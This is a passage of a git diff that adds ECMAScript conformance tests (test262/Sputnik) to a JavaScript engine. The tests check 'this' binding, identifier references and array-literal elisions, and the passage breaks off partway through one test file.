index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/browser.js
diff --git a/js/src/tests/test262/ch10/shell.js b/js/src/tests/test262/ch10/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/11.1.1-1gs.js b/js/src/tests/test262/ch11/11.1/11.1.1/11.1.1-1gs.js
new file mode 100644
index 000000000..0f2b30b5d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/11.1.1-1gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch11/11.1/11.1.1/11.1.1-1gs.js
+ * @description Strict Mode - 'this' object at the global scope is not undefined
+ * @onlyStrict
+ */
+
+"use strict";
+if (this===undefined) {
+ throw NotEarlyError;
+}
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A1.js b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A1.js
new file mode 100644
index 000000000..c68c32736
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "this" is reserved word
+ *
+ * @path ch11/11.1/11.1.1/S11.1.1_A1.js
+ * @description Checking if execution of "this=1" fails
+ * @negative
+ */
+
+this = 1;
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.1.js b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.1.js
new file mode 100644
index 000000000..4094fa914
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Being in function code, "this" and eval("this"), called as a functions, return the global object
+ *
+ * @path ch11/11.1/11.1.1/S11.1.1_A3.1.js
+ * @description Creating function which returns "this" or eval("this")
+ * @noStrict
+ */
+
+//CHECK#1
+function MyFunction() {return this}
+if (MyFunction() !== this) {
+ $ERROR('#1: function MyFunction() {return this} MyFunction() === this. Actual: ' + (MyFunction()));
+}
+
+//CHECK#2
+function MyFunction() {return eval("this")}
+if (MyFunction() !== this) {
+ $ERROR('#2: function MyFunction() {return eval("this")} MyFunction() === this. Actual: ' + (MyFunction()));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.2.js b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.2.js
new file mode 100644
index 000000000..ca0d5e699
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A3.2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Being in function code, "this" and eval("this"), called as a constructors, return the object
+ *
+ * @path ch11/11.1/11.1.1/S11.1.1_A3.2.js
+ * @description Create function. It have property, that returned "this"
+ * @noStrict
+ */
+
+//CHECK#1
+function MyFunction() {this.THIS = this}
+if ((new MyFunction()).THIS.toString() !== "[object Object]") {
+ $ERROR('#1: function MyFunction() {this.THIS = this} (new MyFunction()).THIS.toString() !== "[object Object]". Actual: ' + ((new MyFunction()).THIS.toString()));
+}
+
+//CHECK#2
+function MyFunction() {this.THIS = eval("this")}
+if ((new MyFunction()).THIS.toString() !== "[object Object]") {
+ $ERROR('#2: function MyFunction() {this.THIS = eval("this")} (new MyFunction()).THIS.toString() !== "[object Object]". Actual: ' + ((new MyFunction()).THIS.toString()));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.1.js b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.1.js
new file mode 100644
index 000000000..38e2adbbd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Being in anonymous code, "this" and eval("this"), called as a function, return the global object
+ *
+ * @path ch11/11.1/11.1.1/S11.1.1_A4.1.js
+ * @description Creating function with new Function() constructor
+ */
+
+//CHECK#1
+var MyFunction = new Function("return this");
+if (MyFunction() !== this) {
+ $ERROR('#1: var MyFunction = new Function("return this"); MyFunction() === this. Actual: ' + (MyFunction()));
+}
+
+//CHECK#2
+MyFunction = new Function("return eval(\'this\')");
+if (MyFunction() !== this) {
+ $ERROR('#2: var MyFunction = new Function("return eval(\'this\')"); MyFunction() === this. Actual: ' + (MyFunction()));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.2.js b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.2.js
new file mode 100644
index 000000000..cd37d6824
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/S11.1.1_A4.2.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Being in anonymous code, "this" and eval("this"), called as a constructor, return the object
+ *
+ * @path ch11/11.1/11.1.1/S11.1.1_A4.2.js
+ * @description Creating function by using new Function() constructor. It has the property, which returns "this"
+ */
+
+//CHECK#1
+var MyFunction = new Function("this.THIS = this");
+var MyObject = new MyFunction();
+if (MyObject.THIS.toString() !== "[object Object]") {
+ $ERROR('#1: var MyFunction = new Function("this.THIS = this"); var MyObject = new MyFunction(); MyObject.THIS.toString() === "[object Object]". Actual: ' + (MyObject.THIS.toString()));
+}
+
+//CHECK#2
+MyFunction = new Function("this.THIS = eval(\'this\')");
+MyObject = new MyFunction();
+if (MyObject.THIS.toString() !== "[object Object]") {
+ $ERROR('#2: var MyFunction = new Function("this.THIS = eval(\'this\')"); var MyObject = new MyFunction(); MyObject.THIS.toString() === "[object Object]". Actual: ' + (MyObject.THIS.toString()));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/browser.js b/js/src/tests/test262/ch11/11.1/11.1.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.1/shell.js b/js/src/tests/test262/ch11/11.1/11.1.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T1.js b/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T1.js
new file mode 100644
index 000000000..46955d3ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of evaluating an Identifier is always a value of type Reference
+ *
+ * @path ch11/11.1/11.1.2/S11.1.2_A1_T1.js
+ * @description Creating variables without defining it
+ */
+
+//CHECK#1
+if (this.x !== undefined) {
+ $ERROR('#1: this.x === undefined. Actual: ' + (this.x));
+}
+
+//CHECK#2
+var object = new Object();
+if (object.prop !== undefined) {
+ $ERROR('#2: var object = new Object(); object.prop === undefined. Actual: ' + (object.prop));
+}
+
+//CHECK#3
+this.y++;
+if (isNaN(y) !== true) {
+ $ERROR('#3: this.y++; y === Not-a-Number. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T2.js b/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T2.js
new file mode 100644
index 000000000..df170468d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.2/S11.1.2_A1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of evaluating an Identifier is always a value of type Reference
+ *
+ * @path ch11/11.1/11.1.2/S11.1.2_A1_T2.js
+ * @description Trying to generate ReferenceError
+ */
+
+//CHECK#1
+try {
+ this.z;
+ z;
+ $ERROR('#1.1: this.z; z === undefined throw ReferenceError. Actual: ' + (z));
+} catch(e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: this.z; z === undefined throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.2/browser.js b/js/src/tests/test262/ch11/11.1/11.1.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.2/shell.js b/js/src/tests/test262/ch11/11.1/11.1.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4-0.js b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4-0.js
new file mode 100644
index 000000000..60d4b1d8c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4-0.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.4/11.1.4-0.js
+ * @description elements elided at the end of an array do not contribute to its length
+ */
+
+
+function testcase() {
+ var a = [,];
+ if (a.length === 1) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_4-5-1.js b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_4-5-1.js
new file mode 100644
index 000000000..15de1077b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_4-5-1.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.4;
+ * The production
+ * ElementList : Elisionopt AssignmentExpression
+ * 5.Call the [[DefineOwnProperty]] internal method of array with arguments ToString(firstIndex), the Property Descriptor { [[Value]]: initValue, [[Writable]]: true
+ * , [[Enumerable]]: true, [[Configurable]]: true}, and false.
+ *
+ * @path ch11/11.1/11.1.4/11.1.4_4-5-1.js
+ * @description Initialize array using ElementList (Elisionopt AssignmentExpression) when index property (read-only) exists in Array.prototype (step 5)
+ */
+
+
+function testcase() {
+ try {
+ Object.defineProperty(Array.prototype, "0", {
+ value: 100,
+ writable: false,
+ configurable: true
+ });
+ var arr = [101];
+
+ return arr.hasOwnProperty("0") && arr[0] === 101;
+ } finally {
+ delete Array.prototype[0];
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_5-6-1.js b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_5-6-1.js
new file mode 100644
index 000000000..14e02a1b7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/11.1.4_5-6-1.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.4;
+ * The production
+ * ElementList : ElementList , Elisionopt AssignmentExpression
+ * 6.Call the [[DefineOwnProperty]] internal method of array with arguments ToString(ToUint32((pad+len)) and the Property Descriptor { [[Value]]: initValue
+ * , [[Writable]]: true, [[Enumerable]]: true, [[Configurable]]: true}, and false.
+ *
+ * @path ch11/11.1/11.1.4/11.1.4_5-6-1.js
+ * @description Initialize array using ElementList (ElementList , Elisionopt AssignmentExpression) when index property (read-only) exists in Array.prototype (step 6)
+ */
+
+
+function testcase() {
+ try {
+ Object.defineProperty(Array.prototype, "1", {
+ value: 100,
+ writable: false,
+ configurable: true
+ });
+ var arr = [101, 12];
+
+ return arr.hasOwnProperty("1") && arr[1] === 12;
+ } finally {
+ delete Array.prototype[1];
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.1.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.1.js
new file mode 100644
index 000000000..6e202534b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.1.js
+ * @description Checking various properties of the array defined with expression "var array = []"
+ */
+
+var array = [];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = []; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = []; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = []; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 0) {
+ $ERROR('#4: var array = []; array.length === 0. Actual: ' + (array.length));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.2.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.2.js
new file mode 100644
index 000000000..e1b0ff3ee
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ Elision ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.2.js
+ * @description Checking various properties the array defined with "var array = [,,,,,]"
+ */
+
+var array = [,,,,,];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [,,,,,]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [,,,,,]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [,,,,,]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [,,,,,]; array.length === 5. Actual: ' + (array.length));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.3.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.3.js
new file mode 100644
index 000000000..6682a8eef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.3.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ AssignmentExpression ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.3.js
+ * @description Checking various properteis and contents of the array defined with "var array = [1,2,3,4,5]"
+ */
+
+var array = [1,2,3,4,5];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [1,2,3,4,5]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [1,2,3,4,5]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [1,2,3,4,5]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [1,2,3,4,5]; array.length === 5. Actual: ' + (array.length));
+}
+
+//CHECK#5
+if (array[0] !== 1) {
+ $ERROR('#5: var array = [1,2,3,4,5]; array[0] === 1. Actual: ' + (array[0]));
+}
+
+//CHECK#6
+if (array[1] !== 2) {
+ $ERROR('#6: var array = [1,2,3,4,5]; array[1] === 2. Actual: ' + (array[1]));
+}
+
+//CHECK#7
+if (array[2] !== 3) {
+ $ERROR('#7: var array = [1,2,3,4,5]; array[2] === 3. Actual: ' + (array[2]));
+}
+
+//CHECK#8
+if (array[3] !== 4) {
+ $ERROR('#8: var array = [1,2,3,4,5]; array[3] === 4. Actual: ' + (array[3]));
+}
+
+//CHECK#9
+if (array[4] !== 5) {
+ $ERROR('#9: var array = [1,2,3,4,5]; array[4] === 5. Actual: ' + (array[4]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.4.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.4.js
new file mode 100644
index 000000000..28e67233e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.4.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ Elision, AssignmentExpression ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.4.js
+ * @description Checking various properteis and content of the array defined with "var array = [,,,1,2]"
+ */
+
+var array = [,,,1,2];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [,,,1,2]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [,,,1,2]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [,,,1,2]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [,,,1,2]; array.length === 5. Actual: ' + (array.length));
+}
+
+//CHECK#5
+if (array[0] !== undefined) {
+ $ERROR('#5: var array = [,,,1,2]; array[0] === undefined. Actual: ' + (array[0]));
+}
+
+//CHECK#6
+if (array[1] !== undefined) {
+ $ERROR('#6: var array = [,,,1,2]; array[1] === undefined. Actual: ' + (array[1]));
+}
+
+//CHECK#7
+if (array[2] !== undefined) {
+ $ERROR('#7: var array = [,,,1,2]; array[2] === undefined. Actual: ' + (array[2]));
+}
+
+//CHECK#8
+if (array[3] !== 1) {
+ $ERROR('#8: var array = [,,,1,2]; array[3] === 1. Actual: ' + (array[3]));
+}
+
+//CHECK#9
+if (array[4] !== 2) {
+ $ERROR('#9: var array = [,,,1,2]; array[4] === 2. Actual: ' + (array[4]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.5.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.5.js
new file mode 100644
index 000000000..d08183f2e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.5.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ AssignmentExpression, Elision ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.5.js
+ * @description Checking various properteis and contents of the array defined with "var array = [4,5,,,,]"
+ */
+
+var array = [4,5,,,,];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [4,5,,,,]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [4,5,,,,]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [4,5,,,,]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [4,5,,,,]; array.length === 5. Actual: ' + (array.length));
+}
+
+//CHECK#5
+if (array[0] !== 4) {
+ $ERROR('#5: var array = [4,5,,,,]; array[0] === 4. Actual: ' + (array[0]));
+}
+
+//CHECK#6
+if (array[1] !== 5) {
+ $ERROR('#6: var array = [4,5,,,,]; array[1] === 5. Actual: ' + (array[1]));
+}
+
+//CHECK#7
+if (array[2] !== undefined) {
+ $ERROR('#7: var array = [4,5,,,,]; array[2] === undefined. Actual: ' + (array[2]));
+}
+
+//CHECK#8
+if (array[3] !== undefined) {
+ $ERROR('#8: var array = [4,5,,,,]; array[3] === undefined. Actual: ' + (array[3]));
+}
+
+//CHECK#9
+if (array[4] !== undefined) {
+ $ERROR('#9: var array = [4,5,,,,]; array[4] === undefined. Actual: ' + (array[4]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.6.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.6.js
new file mode 100644
index 000000000..589eb3c0d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.6.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ Elision, AssignmentExpression, Elision ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.6.js
+ * @description Checking various properteis and contents of the array defined with "var array = [,,3,,,]"
+ */
+
+var array = [,,3,,,];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [,,3,,,]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [,,3,,,]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [,,3,,,]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [,,3,,,]; array.length === 5. Actual: ' + (array.length));
+}
+
+//CHECK#5
+if (array[0] !== undefined) {
+ $ERROR('#5: var array = [,,3,,,]; array[0] === undefined. Actual: ' + (array[0]));
+}
+
+//CHECK#6
+if (array[1] !== undefined) {
+ $ERROR('#6: var array = [,,3,,,]; array[1] === undefined. Actual: ' + (array[1]));
+}
+
+//CHECK#7
+if (array[2] !== 3) {
+ $ERROR('#7: var array = [,,3,,,]; array[2] === 3. Actual: ' + (array[2]));
+}
+
+//CHECK#8
+if (array[3] !== undefined) {
+ $ERROR('#8: var array = [,,3,,,]; array[3] === undefined. Actual: ' + (array[3]));
+}
+
+//CHECK#9
+if (array[4] !== undefined) {
+ $ERROR('#9: var array = [,,3,,,]; array[4] === undefined. Actual: ' + (array[4]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.7.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.7.js
new file mode 100644
index 000000000..4689d6b00
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A1.7.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ArrayLiteral: [ AssignmentExpression, Elision, AssignmentExpression ]
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A1.7.js
+ * @description Checking various properteis and contents of the array defined with "var array = [1,2,,4,5]"
+ */
+
+var array = [1,2,,4,5];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [1,2,,4,5]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [1,2,,4,5]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [1,2,,4,5]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 5) {
+ $ERROR('#4: var array = [1,2,,4,5]; array.length === 5. Actual: ' + (array.length));
+}
+
+//CHECK#5
+if (array[0] !== 1) {
+ $ERROR('#5: var array = [1,2,,4,5]; array[0] === 1. Actual: ' + (array[0]));
+}
+
+//CHECK#6
+if (array[1] !== 2) {
+ $ERROR('#6: var array = [1,2,,4,5]; array[1] === 2. Actual: ' + (array[1]));
+}
+
+//CHECK#7
+if (array[2] !== undefined) {
+ $ERROR('#7: var array = [1,2,,4,5]; array[2] === undefined. Actual: ' + (array[2]));
+}
+
+//CHECK#8
+if (array[3] !== 4) {
+ $ERROR('#8: var array = [1,2,,4,5]; array[3] === 4. Actual: ' + (array[3]));
+}
+
+//CHECK#9
+if (array[4] !== 5) {
+ $ERROR('#9: var array = [1,2,,4,5]; array[4] === 5. Actual: ' + (array[4]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A2.js b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A2.js
new file mode 100644
index 000000000..3e1c699fb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/S11.1.4_A2.js
@@ -0,0 +1,128 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Create multi dimensional array
+ *
+ * @path ch11/11.1/11.1.4/S11.1.4_A2.js
+ * @description Checking various properteis and contents of the arrya defined with "var array = [[1,2], [3], []]"
+ */
+
+var array = [[1,2], [3], []];
+
+//CHECK#1
+if (typeof array !== "object") {
+ $ERROR('#1: var array = [[1,2], [3], []]; typeof array === "object". Actual: ' + (typeof array));
+}
+
+//CHECK#2
+if (array instanceof Array !== true) {
+ $ERROR('#2: var array = [[1,2], [3], []]; array instanceof Array === true');
+}
+
+//CHECK#3
+if (array.toString !== Array.prototype.toString) {
+ $ERROR('#3: var array = [[1,2], [3], []]; array.toString === Array.prototype.toString. Actual: ' + (array.toString));
+}
+
+//CHECK#4
+if (array.length !== 3) {
+ $ERROR('#4: var array = [[1,2], [3], []]; array.length === 3. Actual: ' + (array.length));
+}
+
+var subarray = array[0];
+
+//CHECK#5
+if (typeof subarray !== "object") {
+ $ERROR('#5: var array = [[1,2], [3], []]; var subarray = array[0]; typeof subarray === "object". Actual: ' + (typeof subarray));
+}
+
+//CHECK#6
+if (subarray instanceof Array !== true) {
+ $ERROR('#6: var array = [[1,2], [3], []]; var subarray = array[0]; subarray instanceof Array === true');
+}
+
+//CHECK#7
+if (subarray.toString !== Array.prototype.toString) {
+ $ERROR('#7: var array = [[1,2], [3], []]; var subarray = array[0]; subarray.toString === Array.prototype.toString. Actual: ' + (subarray.toString));
+}
+
+//CHECK#8
+if (subarray.length !== 2) {
+ $ERROR('#8: var array = [[1,2], [3], []]; var subarray = array[0]; subarray.length === 2. Actual: ' + (subarray.length));
+}
+
+//CHECK#9
+if (subarray[0] !== 1) {
+ $ERROR('#9: var array = [[1,2], [3], []]; var subarray = array[0]; subarray[0] === 1. Actual: ' + (subarray[0]));
+}
+
+//CHECK#10
+if (subarray[1] !== 2) {
+ $ERROR('#10: var array = [[1,2], [3], []]; var subarray = array[1]; subarray[1] === 2. Actual: ' + (subarray[1]));
+}
+
+var subarray = array[1];
+
+//CHECK#11
+if (typeof subarray !== "object") {
+$ERROR('#11: var array = [[1,2], [3], []]; var subarray = array[1]; typeof subarray === "object". Actual: ' + (typeof subarray));
+}
+
+//CHECK#12
+if (subarray instanceof Array !== true) {
+$ERROR('#12: var array = [[1,2], [3], []]; var subarray = array[1]; subarray instanceof Array === true');
+}
+
+//CHECK#13
+if (subarray.toString !== Array.prototype.toString) {
+$ERROR('#13: var array = [[1,2], [3], []]; var subarray = array[1]; subarray.toString === Array.prototype.toString. Actual: ' + (subarray.toString));
+}
+
+//CHECK#14
+if (subarray.length !== 1) {
+$ERROR('#14: var array = [[1,2], [3], []]; var subarray = array[1]; subarray.length === 1. Actual: ' + (subarray.length));
+}
+
+//CHECK#15
+if (subarray[0] !== 3) {
+$ERROR('#15: var array = [[1,2], [3], []]; var subarray = array[1]; subarray[0] === 3. Actual: ' + (subarray[0]));
+}
+
+var subarray = array[2];
+
+//CHECK#16
+if (typeof subarray !== "object") {
+$ERROR('#16: var array = [[1,2], [3], []]; var subarray = array[2]; typeof subarray === "object". Actual: ' + (typeof subarray));
+}
+
+//CHECK#17
+if (subarray instanceof Array !== true) {
+$ERROR('#17: var array = [[1,2], [3], []]; var subarray = array[2]; subarray instanceof Array === true');
+}
+
+//CHECK#18
+if (subarray.toString !== Array.prototype.toString) {
+$ERROR('#18: var array = [[1,2], [3], []]; var subarray = array[2]; subarray.toString === Array.prototype.toString. Actual: ' + (subarray.toString));
+}
+
+//CHECK#19
+if (subarray.length !== 0) {
